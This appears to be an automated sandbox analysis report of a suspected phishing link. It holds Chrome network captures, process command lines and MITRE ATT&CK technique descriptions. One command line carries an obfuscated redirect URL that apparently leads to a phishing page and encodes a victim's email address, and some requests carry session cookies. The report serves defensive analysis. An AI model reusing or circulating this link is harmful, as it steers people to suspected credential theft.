2024-10-16 15:56:53 UTC	1369	IN	Data Raw: 6c 6c 6f 77 20 41 6c 6c 22 5d 3d 34 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 41 6c 6c 6f 77 20 41 6c 6c 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 52 65 6a 65 63 74 20 41 6c 6c 22 5d 3d 35 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 52 65 6a 65 63 74 20 41 6c 6c 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 43 6f 6e 66 69 72 6d 22 5d 3d 36 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 43 6f 6e 66 69 72 6d 22 2c 65 5b 65 5b 22 47 50 43 20 76 61 6c 75 65 20 63 68 61 6e 67 65 64 22 5d 3d 37 5d 3d 22 47 50 43 20 76 61 6c 75 65 20 63 68 61 6e 67 65 64 22 2c 28 65 3d 68 65 3d 68 65 7c 7c 7b 7d 29 2e 41 63 74 69 76 Data Ascii: llow All"]=4]="Preference Center - Allow All",e[e["Preference Center - Reject All"]=5]="Preference Center - Reject All",e[e["Preference Center - Confirm"]=6]="Preference Center - Confirm",e[e["GPC value changed"]=7]="GPC value changed",(e=he=he\|\|{}).Activ
2024-10-16 15:56:53 UTC	1369	IN	Data Raw: 6e 61 6c 69 7a 61 74 69 6f 6e 22 2c 65 2e 72 65 67 69 6f 6e 3d 22 72 65 67 69 6f 6e 22 2c 65 2e 77 61 69 74 5f 66 6f 72 5f 75 70 64 61 74 65 3d 22 77 61 69 74 5f 66 6f 72 5f 75 70 64 61 74 65 22 2c 28 65 3d 41 65 3d 41 65 7c 7c 7b 7d 29 2e 67 72 61 6e 74 65 64 3d 22 67 72 61 6e 74 65 64 22 2c 65 2e 64 65 6e 69 65 64 3d 22 64 65 6e 69 65 64 22 2c 30 2c 28 65 3d 49 65 3d 49 65 7c 7c 7b 7d 29 2e 4f 42 4a 45 43 54 5f 54 4f 5f 4c 49 3d 22 4f 62 6a 65 63 74 54 6f 4c 49 22 2c 65 2e 4c 49 5f 41 43 54 49 56 45 5f 49 46 5f 4c 45 47 41 4c 5f 42 41 53 49 53 3d 22 4c 49 41 63 74 69 76 65 49 66 4c 65 67 61 6c 42 61 73 69 73 22 2c 28 65 3d 4c 65 3d 4c 65 7c 7c 7b 7d 29 2e 63 6f 6f 6b 69 65 73 3d 22 63 6f 6f 6b 69 65 73 22 2c 65 2e 76 65 6e 64 6f 72 73 3d 22 76 65 6e 64 Data Ascii: nalization",e.region="region",e.wait_for_update="wait_for_update",(e=Ae=Ae\|\|{}).granted="granted",e.denied="denied",0,(e=Ie=Ie\|\|{}).OBJECT_TO_LI="ObjectToLI",e.LI_ACTIVE_IF_LEGAL_BASIS="LIActiveIfLegalBasis",(e=Le=Le\|\|{}).cookies="cookies",e.vendors="vend

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.5	49878	104.16.123.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:52 UTC	584	OUT	GET /public/vendor/onetrust/scripttemplates/otSDKStub.js HTTP/1.1 Host: ot.www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:53 UTC	829	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:53 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"c26259f649def56fbb3b494c9ae5b5a1" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff X-Robots-Tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8wnkpc6FLBoZYeCnW5GVpDSnE4we4paVR5QNZsxFJ9WAysA2IaEWf0R9IjN9ZS1qMpKmZLjCUgVqx3z8RmhXpn860Nq%2B0DGNOF280QzNhKSlBahxspEq4JXr2Iuj5OvutRDB3Xbd3qw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: MISS Server: cloudflare CF-RAY: 8d393dcef98c4791-DFW alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:53 UTC	540	IN	Data Raw: 35 32 65 65 0d 0a 76 61 72 20 4f 6e 65 54 72 75 73 74 53 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 2c 6f 2c 70 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4f 70 74 61 6e 6f 6e 43 6f 6e 73 65 6e 74 22 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 74 6d 6c 47 72 6f 75 70 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 6f 73 74 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 67 65 6e 56 65 6e 64 6f 72 73 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 76 65 6e 64 6f 72 73 53 65 72 76 69 63 65 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 6f 6e 65 54 72 75 73 74 49 41 42 Data Ascii: 52eevar OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIAB
2024-10-16 15:56:53 UTC	1369	IN	Data Raw: 49 22 2c 22 53 45 22 2c 22 47 42 22 2c 22 48 52 22 2c 22 4c 49 22 2c 22 4e 4f 22 2c 22 49 53 22 5d 2c 74 68 69 73 2e 73 74 75 62 46 69 6c 65 4e 61 6d 65 3d 22 6f 74 53 44 4b 53 74 75 62 22 2c 74 68 69 73 2e 44 41 54 41 46 49 4c 45 41 54 54 52 49 42 55 54 45 3d 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 2c 74 68 69 73 2e 62 61 6e 6e 65 72 53 63 72 69 70 74 4e 61 6d 65 3d 22 6f 74 42 61 6e 6e 65 72 53 64 6b 2e 6a 73 22 2c 74 68 69 73 2e 6d 6f 62 69 6c 65 4f 6e 6c 69 6e 65 55 52 4c 3d 5b 5d 2c 74 68 69 73 2e 69 73 4d 69 67 72 61 74 65 64 55 52 4c 3d 21 31 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 43 43 54 49 44 3d 22 5b 5b 4f 6c 64 43 43 54 49 44 5d 5d 22 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 44 6f 6d 61 69 6e 49 64 3d 22 5b 5b 4e 65 77 Data Ascii: I","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[[New
2024-10-16 15:56:53 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6e 75 6c 6c 3b 65 5b 74 68 69 73 2e 63 61 6d 65 6c 69 7a 65 28 61 5b 30 5d 29 5d 3d 61 5b 31 5d 2e 74 72 69 6d 28 29 7d 72 65 74 75 72 6e 20 65 7d 2c 65 29 3b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 69 6d 70 6c 65 6d 65 6e 74 54 68 65 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 2c 6f 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3b 72 65 74 75 72 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 73 74 79 6c 65 22 21 3d 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 26 26 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: eturn null;e[this.camelize(a[0])]=a[1].trim()}return e},e);function e(){var t=this;this.implementThePolyfill=function(){var a=t,o=Element.prototype.setAttribute;return Element.prototype.setAttribute=function(t,e){if("style"!==t.toLowerCase()&&o.apply(this
2024-10-16 15:56:53 UTC	1369	IN	Data Raw: 4d 45 29 29 7d 2c 74 68 69 73 2e 72 65 6d 6f 76 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 69 66 72 61 6d 65 5b 6e 61 6d 65 3d 22 2b 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 2b 22 5d 22 29 5b 30 5d 3b 74 26 26 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 7d 2c 74 68 69 73 2e 65 78 65 63 75 74 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 76 61 72 20 69 3d 6e 75 Data Ascii: ME))},this.removeGppApi=function(){delete s.win.__gpp;var t=document.querySelectorAll("iframe[name="+s.LOCATOR_NAME+"]")[0];t&&t.parentElement.removeChild(t)},this.executeGppApi=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var i=nu
2024-10-16 15:56:53 UTC	1369	IN	Data Raw: 73 70 6c 61 79 3a 6e 6f 6e 65 22 2c 65 2e 6e 61 6d 65 3d 74 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 22 47 50 50 20 4c 6f 63 61 74 6f 72 22 29 2c 69 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 61 64 64 46 72 61 6d 65 28 74 29 7d 2c 35 29 29 2c 21 6e 7d 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 3d 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 72 65 74 75 72 6e 20 6e 2e 65 76 65 6e 74 73 3d 6e 2e 65 76 65 6e 74 73 7c 7c 5b 5d 2c 6e 75 6c 6c 21 3d 28 69 3d 6e 29 26 26 69 2e 6c 61 73 74 49 64 7c 7c 28 6e 2e 6c 61 73 74 49 64 3d 30 29 2c 6e 2e 6c 61 73 74 49 Data Ascii: splay:none",e.name=t,e.setAttribute("title","GPP Locator"),i.body.appendChild(e)):setTimeout(function(){s.addFrame(t)},5)),!n},this.addEventListener=function(t,e){var i,n=s.win.__gpp;return n.events=n.events\|\|[],null!=(i=n)&&i.lastId\|\|(n.lastId=0),n.lastI
2024-10-16 15:56:53 UTC	1369	IN	Data Raw: 79 70 65 2e 63 61 70 74 75 72 65 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6e 6f 6e 63 65 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 6e 6f 6e 63 65 7c 7c 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 29 7c 7c 6e 75 6c 6c 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 66 65 74 63 68 42 61 6e 6e 65 72 53 44 4b 44 65 70 65 6e 64 65 6e 63 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 73 65 74 44 6f 6d 61 69 6e 44 61 74 61 46 69 6c 65 55 52 4c 28 29 2c 74 68 69 73 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 72 6f 73 73 6f 72 69 67 69 6e 22 29 Data Ascii: ype.captureNonce=function(){this.nonce=p.stubScriptElement.nonce\|\|p.stubScriptElement.getAttribute("nonce")\|\|null},h.prototype.fetchBannerSDKDependency=function(){this.setDomainDataFileURL(),this.crossOrigin=p.stubScriptElement.getAttribute("crossorigin")
2024-10-16 15:56:53 UTC	1369	IN	Data Raw: 67 65 6f 6c 6f 63 61 74 69 6f 6e 52 65 73 70 6f 6e 73 65 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 69 2e 63 6f 75 6e 74 72 79 43 6f 64 65 2c 69 2e 73 74 61 74 65 43 6f 64 65 29 2c 74 68 69 73 2e 61 64 64 42 61 6e 6e 65 72 53 44 4b 53 63 72 69 70 74 28 74 29 29 3a 28 69 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 29 7c 7c 74 2e 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 3f 28 65 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 31 5d 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 65 2c 69 29 2c 74 68 69 73 2e 61 64 Data Ascii: geolocationResponse,this.setGeoLocation(i.countryCode,i.stateCode),this.addBannerSDKScript(t)):(i=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam))\|\|t.SkipGeolocation?(e=i.split(";")[0],i=i.split(";")[1],this.setGeoLocation(e,i),this.ad
2024-10-16 15:56:53 UTC	1369	IN	Data Raw: 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 3d 7b 63 6f 75 6e 74 72 79 3a 74 2c 73 74 61 74 65 3a 65 3d 76 6f 69 64 20 30 3d 3d 3d 65 3f 22 22 3a 65 7d 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 74 46 65 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 65 2c 6e 2c 61 29 7b 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 21 31 29 2c 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 6e 75 6c 6c 29 3b 76 61 72 20 6f 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6f 74 50 72 65 76 69 65 77 44 61 74 61 22 29 3b 69 66 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 66 69 6c 65 3a 2f 2f 22 2c 22 69 22 29 2e Data Ascii: on=function(t,e){p.userLocation={country:t,state:e=void 0===e?"":e}},h.prototype.otFetch=function(t,i,e,n,a){void 0===e&&(e=!1),void 0===n&&(n=null);var o=window.sessionStorage&&window.sessionStorage.getItem("otPreviewData");if(new RegExp("^file://","i").
2024-10-16 15:56:53 UTC	1369	IN	Data Raw: 61 3d 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 2c 6f 3d 74 2e 52 75 6c 65 53 65 74 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 74 2e 44 65 66 61 75 6c 74 7d 29 3b 69 66 28 21 61 2e 63 6f 75 6e 74 72 79 26 26 21 61 2e 73 74 61 74 65 29 72 65 74 75 72 6e 20 6f 26 26 30 3c 6f 2e 6c 65 6e 67 74 68 3f 6f 5b 30 5d 3a 6e 75 6c 6c 3b 66 6f 72 28 76 61 72 20 73 3d 61 2e 73 74 61 74 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 72 3d 61 2e 63 6f 75 6e 74 72 79 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 75 3d 30 3b 75 3c 74 2e 52 75 6c 65 53 65 74 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 69 66 28 21 30 3d 3d 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 47 6c 6f 62 61 6c 29 6e 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 3b 65 Data Ascii: a=p.userLocation,o=t.RuleSet.filter(function(t){return!0===t.Default});if(!a.country&&!a.state)return o&&0<o.length?o[0]:null;for(var s=a.state.toLowerCase(),r=a.country.toLowerCase(),u=0;u<t.RuleSet.length;u++)if(!0===t.RuleSet[u].Global)n=t.RuleSet[u];e
2024-10-16 15:56:53 UTC	1369	IN	Data Raw: 65 56 61 6c 75 65 3d 74 68 69 73 2e 67 65 74 43 6f 6f 6b 69 65 28 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 43 6f 6f 6b 69 65 4e 61 6d 65 29 29 3a 70 2e 69 73 53 74 75 62 52 65 61 64 79 3d 21 31 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 69 64 61 74 65 49 41 42 47 44 50 52 41 70 70 6c 69 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 3b 74 3f 74 68 69 73 2e 69 73 42 6f 6f 6c 65 61 6e 28 74 29 3f 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 22 74 Data Ascii: eValue=this.getCookie(p.oneTrustIABCookieName)):p.isStubReady=!1},h.prototype.validateIABGDPRApplied=function(){var t=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam).split(";")[0];t?this.isBoolean(t)?p.oneTrustIABgdprAppliesGlobally="t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49879	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:52 UTC	851	OUT	POST /cdn-cgi/rum? HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive Content-Length: 1649 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: application/json Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:52 UTC	1649	OUT	Data Raw: 7b 22 6d 65 6d 6f 72 79 22 3a 7b 22 74 6f 74 61 6c 4a 53 48 65 61 70 53 69 7a 65 22 3a 38 35 39 34 39 31 34 2c 22 75 73 65 64 4a 53 48 65 61 70 53 69 7a 65 22 3a 34 30 39 30 33 31 38 2c 22 6a 73 48 65 61 70 53 69 7a 65 4c 69 6d 69 74 22 3a 32 31 37 32 36 34 39 34 37 32 7d 2c 22 72 65 73 6f 75 72 63 65 73 22 3a 5b 5d 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 74 68 68 65 72 6f 73 2e 63 6f 6d 2e 64 65 2f 22 2c 22 65 76 65 6e 74 54 79 70 65 22 3a 31 2c 22 66 69 72 73 74 50 61 69 6e 74 22 3a 32 36 39 39 2e 32 30 30 30 30 30 30 30 30 30 31 31 36 2c 22 66 69 72 73 74 43 6f 6e 74 65 6e 74 66 75 6c 50 61 69 6e 74 22 3a 32 36 39 39 2e 32 30 30 30 30 30 30 30 30 30 31 31 36 2c 22 73 74 61 72 74 54 69 6d 65 22 3a 31 37 32 39 30 39 34 32 Data Ascii: {"memory":{"totalJSHeapSize":8594914,"usedJSHeapSize":4090318,"jsHeapSizeLimit":2172649472},"resources":[],"referrer":"https://earthheros.com.de/","eventType":1,"firstPaint":2699.2000000000116,"firstContentfulPaint":2699.2000000000116,"startTime":17290942
2024-10-16 15:56:53 UTC	375	IN	HTTP/1.1 204 No Content Date: Wed, 16 Oct 2024 15:56:53 GMT Connection: close access-control-allow-origin: https://www.cloudflare.com access-control-allow-methods: POST,OPTIONS access-control-max-age: 86400 vary: Origin access-control-allow-credentials: true Server: cloudflare CF-RAY: 8d393dcf282e6bb0-DFW X-Frame-Options: DENY X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:52 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:53 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:53 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: b1f1651c-201e-0085-16d8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155653Z-16b659b44998rw28css0tq67fn00000009t000000000qxhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:53 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Target ID:	0
Start time:	11:56:08
Start date:	16/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	11:56:11
Start date:	16/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2456 --field-trial-handle=2276,i,12838566996055699050,5134391891814373256,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	11:56:14
Start date:	16/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://url.avanan.click/v2/r01/___https://www.google.com.sg/zwq?v=7WZIz&fru;why=7WZIz&fru;xf=y&fru;jxwh=7WZIz&fru;xtzwhj=&fru;hi=7WZIz&fru;zfhy=&fru;zwq=frudxdgtqiqntsfuufwjq.htrd.n___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpkZGUwNjUwMWZkNDExNDYwNzZjMDZiMzcyYTg5ZmU1NDo3OjE4NDg6ZGQ5NzQ2M2JkZmJmZTM2MDBmOTU2MjU4MWJhNWIyZDA0ODAzMGI4MzllZGM2ZjkzYmIwZjc2YWQ5ZmQ2MDFhNTpoOlQ6VA#ZWphbWVzQGVuY2luYWNhcGl0YWwuY29t"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
